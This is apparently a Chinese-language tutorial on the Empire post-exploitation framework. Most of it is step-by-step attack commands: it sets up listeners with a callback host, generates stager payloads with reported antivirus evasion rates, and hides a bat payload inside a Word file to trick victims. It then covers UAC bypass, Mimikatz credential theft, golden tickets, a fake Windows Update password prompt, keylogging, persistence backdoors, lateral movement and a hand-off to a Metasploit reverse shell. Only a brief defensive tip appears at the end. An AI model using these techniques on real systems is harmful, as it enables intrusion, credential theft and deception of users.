Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和部分安全防护工具的查杀,有点类似于Metasploit,是一个基于PowerShell的远程控制木马。
Empire 4 是一个开发后框架,包括纯 PowerShell Windows 代理、Python 3.x Linux/OS X 代理和 C# 代理。它是之前的PowerShell Empire和Python EmPyre项目的合并,该框架提供加密安全通信和灵活的架构。
最新版本为4.3.3,原开发团队不再维护,现在由Blog - BC Security (bc-security.org)继续维护和更新
所有版本:bcsecurity/empire Tags | Docker Hub
#方法一 从github拉取 git clone https://github.com/BC-SECURITY/Empire.git ... cd setup ./install.sh #方法二 sudo apt install powershell-empire #方法三 # Pull the latest image docker pull bcsecurity/empire:latest # Run the server with the rest api and socket ports open docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest # Run the client docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client # To run the client against the already running server container docker container ls docker exec -it {container-id} ./ps-empire client # with persistent storage docker pull bcsecurity/empire:latest docker create -v /empire --name data bcsecurity/empire:latest docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest # if you prefer to be dropped into bash instead of directly into empire docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
避雷
ping不通github
修改/etc/hosts文件,添加 40.82.113.4 github.com
部分插件如vinim可能无法拉取,安装的时候选择N(可能有部分功能不可用)
安装完毕后,进入Empire文件夹,运行
./ps-empire service # 启动服务器,默认api端口1337,socketio 端口5000 ./ps-empire client # 启动客户端
从Empire 4.0开始,RESTful API是与服务器交互的唯一方法,并允许通过HTTP JSON请求编写脚本和控制Empire。这种新方法允许多个用户在没有新的简化客户端的情况下与服务器进行交互。
该服务器可以通过运行 ./ps-empire server
来启动,并且可以连接到内置客户端或StartKiller客户端。默认情况下,RESTful API 在端口 1337 上启动,使用位于 .empire/server/data/empire.pem 的证书通过 HTTPS 启动,该证书可以使用 ./setup/cert.sh 或默认安装脚本生成。可以通过在启动时提供 --restport <PORT_NUM>
来更改端口。
API默认用户名:empireadmin,默认密码:password123
Empire API 使用一个简单的基于令牌的身份验证系统为了向 API 发出任何请求,必须提供 ?token=X 参数,否则将返回 403 错误。
令牌在 rest API 启动时随机生成,该过程会显示在命令行上。
要通过登录界面检索会话令牌,可以将请求发布到 /api/admin/login
rest API的具体使用可以查看https://bc-security.gitbook.io/empire-wiki/restful-api
#查看token # curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}' #response HTTP/1.0 200 OK Content-Type: application/json Content-Length: 57 Server: Werkzeug/0.11.4 Date: Thu, 31 Mar 2016 23:38:59 GMT { "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5" } #查看版本 curl --insecure -i https://localhost:1337/api/version?token=token #查看API路由表 curl --insecure -i https://localhost:1337/api/map?token=token #显示当前配置 url --insecure -i https://localhost:1337/api/config?token=token ......
首次加载Empire时,用户将被放入主菜单。唯一可用的命令是connect
。可以将服务器加载到config.yaml中,并像connect -c localhost
一样调用它
admin
admin是一个管理菜单,它为团队开发服务器管理员提供了管理用户和服务器选项的选项。可以通过在控制台中键入 admin 来访问管理
菜单。进入此页面后,管理员可以在团队开发服务器中添加/删除用户,并可以修改代理将使用的混淆类型。
普通用户将无法修改设置,但可以访问注释功能。Notes 允许用户在其会话中记录信息并将其存储在服务器上。一旦将笔记发送到服务器,他们就可以从任何会话访问他们的笔记。
listenners
提供所有活动侦听器的概述列表。可以通过键入命令 kill <listener_name>来杀死侦听器
uselisteners
查看侦听器信息,设置相应参数并执行监听
usestager
Empire 以模块化格式在 ./lib/stagers/* 中实现了各种stagers。其中包括 DLL、宏、单行等。使用stager <stager_name>
或点击选项卡完成以选择可用的stagers。
plugins
插件是Empire的扩展,允许加载自定义脚本,允许任何人轻松构建或添加社区项目以扩展Empire功能。插件可以从帝国 CLI 访问
参考链接:Empire/PLUGINS.md at master · BC-SECURITY/Empire (github.com)
agents
用于交互和分配任务以及收集信息。进入此页面时,将显示活动代理列表,并且活动代理为绿色,死亡代理为红色。在此菜单中可以使用代理各自的命令杀死、删除、重命名和清除代理。
internet
与代理交互是操作员管理植入物的方式。Usemodule 可从代理内部访问,并将在选项中预填充代理。可以通过键入 shell 来访问交互式 shell 菜单,也可以直接通过 shell <命令>
运行命令。其他选项包括下载和上载文件、管理代理通信和代理配置。
shell
交互式 shell 菜单为代理打开了一个类似 shell 的环境,包括向用户显示的当前工作目录。所有命令都将发送到代理并返回到交互式 shell 窗口。要运行交互式 shell,只需 在任何代理中键入 shell,要退出 shell 会话,请键入 exit
以返回到代理
credential
尝试解析标准 Mimikatz 输出,并将它们保存在内部凭据存储中。可以使用凭据命令从任何位置查看凭据。凭据存储可以有效地作为黄金和白银票证目录运行,按需生成相应的票证,存储密码和哈希。可以通过键入 add <domain> <username> <password>
将凭据添加到数据库中。
usemoudle
用于将程序嵌入到PowerShell和Python脚本中的容器,包括:
Code Execution #代码执行 Collection #信息收集 Credentials #凭证收集 Lateral Movements #横向移动 Management #管理 Persistence #持久化 Privilege Escalation #提权 Situational Awareness #势态感知,查找相关有用模块 Trollsploit #恶作剧
chat
聊天菜单与Empire中的聊天服务器进行交互。这允许用户通过键入聊天来进出聊天室。当登录到聊天室时,将显示 20 条最新消息。当准备好返回上一个任务时,键入 back
并返回到上一个菜单
键入help可查看帮助文档
admin:管理员菜单 agents:查看连接 connect:连接到empire实例 credentials:从数据库添加/展示凭据 disconnect:empire实例断开 help:帮助文档 interact:连接到存活代理 listeners:监听线程查看 plugins:插件 sponsors:赞助者 usecredential:查看/编辑凭据 userlisteners:使用监听线程 usemodule:使用模块 useplugin:使用插件 usestager:使用payload
返回主页面:main
empire和msf的大体流程比较相似,需要设置监听、生成payload、连接shell等
listeners #进入监听线程界面 uselistener #设置监听模式 info #查看具体参数设置 set #设置相应参数 execute #开始监听
uselisteners 监听方法 http https ... 修改监听名 set Name Time 设置shell回弹地址 set Host http://192.168.43.239:1234 设置监听端口 set Port 1234 开启监听 execute 在listenners可以查看相关信息,若设置失败可以在服务端查看错误信息
Empire支持Dropbox和Onedriver的监听
stager类似MSF中的payload,其中multi为通用模块,osx是Mac操作系统的模块,其余为Windows的模块
设置监听器后,按back返回主菜单,输入usestager (空格+tab)可显示当前能生成的payload根据目标系统选择对应payload
usestager 模块名,选择模块名之后会出现该模块的参数信息,Required为True要求必须设置参数,value为默认值 set Listener 监听器名 生成payload execute
注:较旧原来有launcher模块,可以在设置完参数之后在监听模块直接launcher
生成的patload连接后返回连接信息
payload举例
launcher_vbs
usestager windows/launcher_vbs # 设置launcher_vbs木马 set Listener test4 execute 在目标主机上运行生成的launcher.bat,成功获得一个新的session
生成的bat文件没有被火绒拦截,只给予警告;VT 22/58报黑
launcher_bat
usestager windows/launcher_bat set Listener test5 execute
为了增加迷惑性,可以将bat文件插入一个office文件(word/excel)中,依次选择插入---对象---选择“由文件创建”---通过浏览“选定bat文件”---勾选“显示为图标”---“更改图标”从而获得更好的迷惑性,将图标更改为word图标,更改文件显示名,可以获得更好的迷惑性。
当目标机器用户点击了word中的附件,即可触发运行bat,kali成功又获得一个新session(365版本的office不允许打开内部附件和宏)
生成的bat文件没有被火绒拦截,只给予警告;VT 28/57报黑
cmd_exec
usestager windows/cmd_exec set Listener test5 execute
火绒拦截
agents #列出当前已连接的主机 angents相关操作: list #作用同agents interact #连接主机 kill #删除失效主机 rename #重命名主机 clear #清除主机任务
查看已经连接的会话
agents
若ID带有*号代表已经提权
ID | Name | Language | Internarl IP | Username | Process | PID | Delay | Last Seen | Listener |
---|
主机名为随机生成,可以在agent下使用rename oldname newname
重命名
连接后可在任务管理器中查看有powershell进程运行
选择会话
interact Name
会话相关用法
display:显示agent属性 download:指定代理下载文件 history:显示接受到的任务数 info:显示代理信息 killdate:代理关闭日期,格式01/01/2020 proxy:配置agent代理的代理管理菜单 script_command:在当前导入的powershell执行一个功能 script_import:导入powershell脚本并保存在内存中 shell:运行一个特定agent执行shell命令,当前使用shell中的ls会报错,是因为无法在ps2中使用一些核心功能 sleep:指定agent更新延迟和抖动 update_comms:更新一个监听器 upload:上传本地文件 view:查看指定task id的任务和结果 workinghours:设置工作时间 whoami:查看用户 ps:查看进程(报错) sc:截图 keylog:键盘记录 sherlock: mimikatz:运行/powershell/credentials/mimikatz/logonpassword模块,获取域密码,需要提权 psinject:运行powershell/management/psinject模块 revtoself:运行powershell/credentials/tokens模块,revtoself为True shinject:运行/powershell/management/shinject模块 spawn:运行/powershell/management/spawn模块 steal_token:运行powershell/credentials/tokens模块,inpersonateuser为True bypassuac:运行powershell/privesc/bypassuac_eventvwr模块(可在连接之后直接尝试使用提权),win11会有窗口变动,且不会提权成功
目前问题是有时运行几分钟后会断连,暂未解决
选择会话之后可以进行使用相关模块进行提权或信息收集等操作
使用usemodule + 相关模块工具
info介绍 Author # 作者 Background # 后台运行? Comments # github位置 Description # 相关描述 Language # 相关语言,如powershell、python Name # 模块全名(路径) NeedsAdmin # 是否需要管理员权限 OpsecSafe True ? Software # ATTCK相关软件 Techniques # ATTCK相关技术 Record Option # 相关设置 │ Name │ Value │ Required │ Description|
模块详细信息:帝国模块库 - 信息安全重要 (infosecmatter.com)
AllChecks模块
查看系统中的漏洞,使用方法和Powersploit下powerup的Invoke-AllChecks模块一样,该模块可以执行所有脚本检测系统漏洞,根据检测到的漏洞可以选择对应的模块进行提权等操作 usemodule powershell/privesc/powerup/allchecks AllChecks模块的应用对象: 任何没有引号的服务路径 任何ACL配置错误的服务(可通过service_*利用) 服务可执行文件上的任何设置不当的权限(可通过service_exe_*进行利用) 任何剩余的unattend.xml文件。 设置AlwaysInstallElevated注册表项。 如果有任何Autologon凭证留在注册表中。 任何加密的web.config字符串和应用程序池密码。 对于任何%PATH%.DLL的劫持机会(可通过write_dllhijacker利用)。
提权工具
Empire内置了PowerUp的部分工具,主要有windows系统错误配置漏洞,windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式 usemodule powershell/privesc/powerup/ <tab> <tab> # 查看所有powerup模块 UAC提权 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。 UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。 原理: 使用c:\windows\wscript.exe 执行payload,即绕过UAC实现管理员权限执行payload,只适用于win7系统,目前尚没有补丁,部分杀软会有提示。 Bypass UAC usemodule powershell/privesc/bypassuac 设置listener execute list查看 usemodule powershell/private/bypassuac 当运行完提权模块后,back返回agents查看,多了一个提权成功带(*)号的agents 溢出漏洞提权 usemodule powershell/privesc/ms16-032 usemodule powershell/privesc/ms16-135 计划任务提权 usemodule powershell/persistence/elevated/schtasks
管理模块
usemodule management/enable_rdpmanagement/disable_rdp 禁用rdp ...
信息收集
usemodule powershell/collection/ usemodule powershell/situational_awareness/ 常用模块 部分结果保存在empire/server/downloads/主机名/模块名下 usemodule powershell/collection/screenshot #截屏 usemodule powershell/collection/keylogger #键盘记录,保存在empire/server/downloads/主机名/ usemodule powershell/collection/clipboard_monitor #剪贴板记录 usemodule powershell/situational_awareness/network/powerview/process_hunter #获取进程信息 usemodule powershell/situational_awareness/network/powerview/get_user #列出计算机用户 usemodule powershell/situational_awareness/network/powerview/get_computer #列出计算机信息 usemodule powershell/situational_awareness/network/powerview/share_finder #列出域内所有共享 usemodule powershell/situational_awareness/host/winenum #查看本级机用户,域组成员系统基本信息等 usemodule powershell/situational_awareness/host/computerdetails #列举系统中所有有用信息,报告各种日志、RDP登录信息 usemodule powershell/situational_awareness/network/reverse_dns #dns信息获取 usemodule powershell/situational_awareness/host/dnsserver # 显示当前内网dns服务器地址 usemodule powershell/situational_awareness/network/powerview/user_hunter # 查找域管登录服务器IP situational_awareness/network/powerview/get_domain_controller #获取域控制器 situational_awareness/network/powerview/get_group #枚举组信息 #社工模块 模仿windows更新,要求身份验证 usemodule collection/toasted set ToastTitle "Your session will be terminated" set ToastMessage "The system will restart in 5 minutes. Do you want to postpone the restart?" set Application "Windows Update" set CredBoxTitle "Are you sure you want to restart your PC?" set CredBoxMessage "You must authenticate to perform this action" excute 发送邮件 usemodule management/mailraider/management/mailraider/send_mail #内网探测 arp扫描 usemodule powershell/situational_awareness/network/arpscan 若执行后无反应,有可能: 1、连接断开 2、执行时间较长 3、empire bug,重新执行interact Name即可显示
后门
#权限持久性劫持Shift后门 usemodule powershell/lateral_movement/invoke_wmi_debugger 在win7连续按五次shift键即可反弹会话 Sethc.exe可以替换成以下几项: Utilman.exe(使用Win+U组合键) osk.exe (屏幕上的键盘:使用Win + U启动组合键) Narrator.exe (启动讲述人:使用Win + U 启动组合键) Magnify.exe(放大镜:使用Win + U 组合键启动) #注册表注入后门 该模块运行后会在目标主机启动项里增加一个命令 usemodule persistence/userland/registry 可以在注册表中查找RegPath对应位置的内容 只要目标机重启并登录后,就会反弹一个会话 #计划任务获取系统权限 到设置的具体时间将成功返回一个高权限的shell usemodule powershell/persistence/elevated/schtasks 实验返回为system用户
环境:win2008R2 Server + 1台win7服务器
令牌窃取 # 域环境下 win7 无法提权 # 使用管理员权限运行payload 大致步骤: usemodule powershell/situational_awareness/network/arpscan #扫描内网 usemodule powershell/situational_awareness/network/powerview/find_localadmin_access #查找本地管理员,判断本机用户是否是域内某一台主机的本地管理 usemodule powershell/situational_awareness/network/powerview/get_domain_controller #查找域控 usemodule powershell/lateral_movement/invoke_wmi 或者bypassuac 提权 ps 查看是否有域管理的进程procid steal_token procid #窃取administrator的身份,ps命令无法使用,无法进一步操作 shell dir \\域名\C& 查看域C盘目录 mimikatz 获取域控下相关凭证 # credentials 查看上一步获取到的密码,plaintext是明文密码,hash是通过加密后的密码 # usecredentials 选中保存的pth id,execute可以更新凭据 # 获取域控权限 usemodule powershell/lateral_movement/invoke_wmi set Listener C1ay set CredID 3 set ComputerName 域名 execute #获取黄金票据 usemodule powershell/credentials/mimikatz/lsadump usemodule powershell/credentials/mimikatz/golden_ticket set credid 5 set user Administrator execute 会话注入 # invoke_psexec 前提是已经获得本地管理员权限,甚至域管理员账户,然后以次进一步渗透整个内网。优点是可以直接获得system权限,缺点是该工具能被杀软检测并留下日志,而且需要开启admin$445端口共享 usemodule lateral_movement/invoke_psexec #invoke_wmi 比PsExec安全的多,所有Windows系统都启动了该服务,当攻击者使用wmiexec进行攻击时,Windwos系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无须写入磁盘,具有极高的隐秘性,但如果目标机器开启防火墙,则用WMI将无法连接上目标机器。 使用该模块可以获得administrator权限。如果该主机具有其他域用户凭证,则可以进行横向移动。
当拿到webshell上传的MSF客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回MSF #empire usemodule powershell/code_execution/invoke_shellcode set Lhost ip set Lport port execute #msf use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST ip set LPORT port run Empire存在的bug:https://www.jianshu.com/p/c5153ee1eb76
开启防火墙、杀软
拦截连续出现/admin/get.php,/news.php,/login/process.php的http会话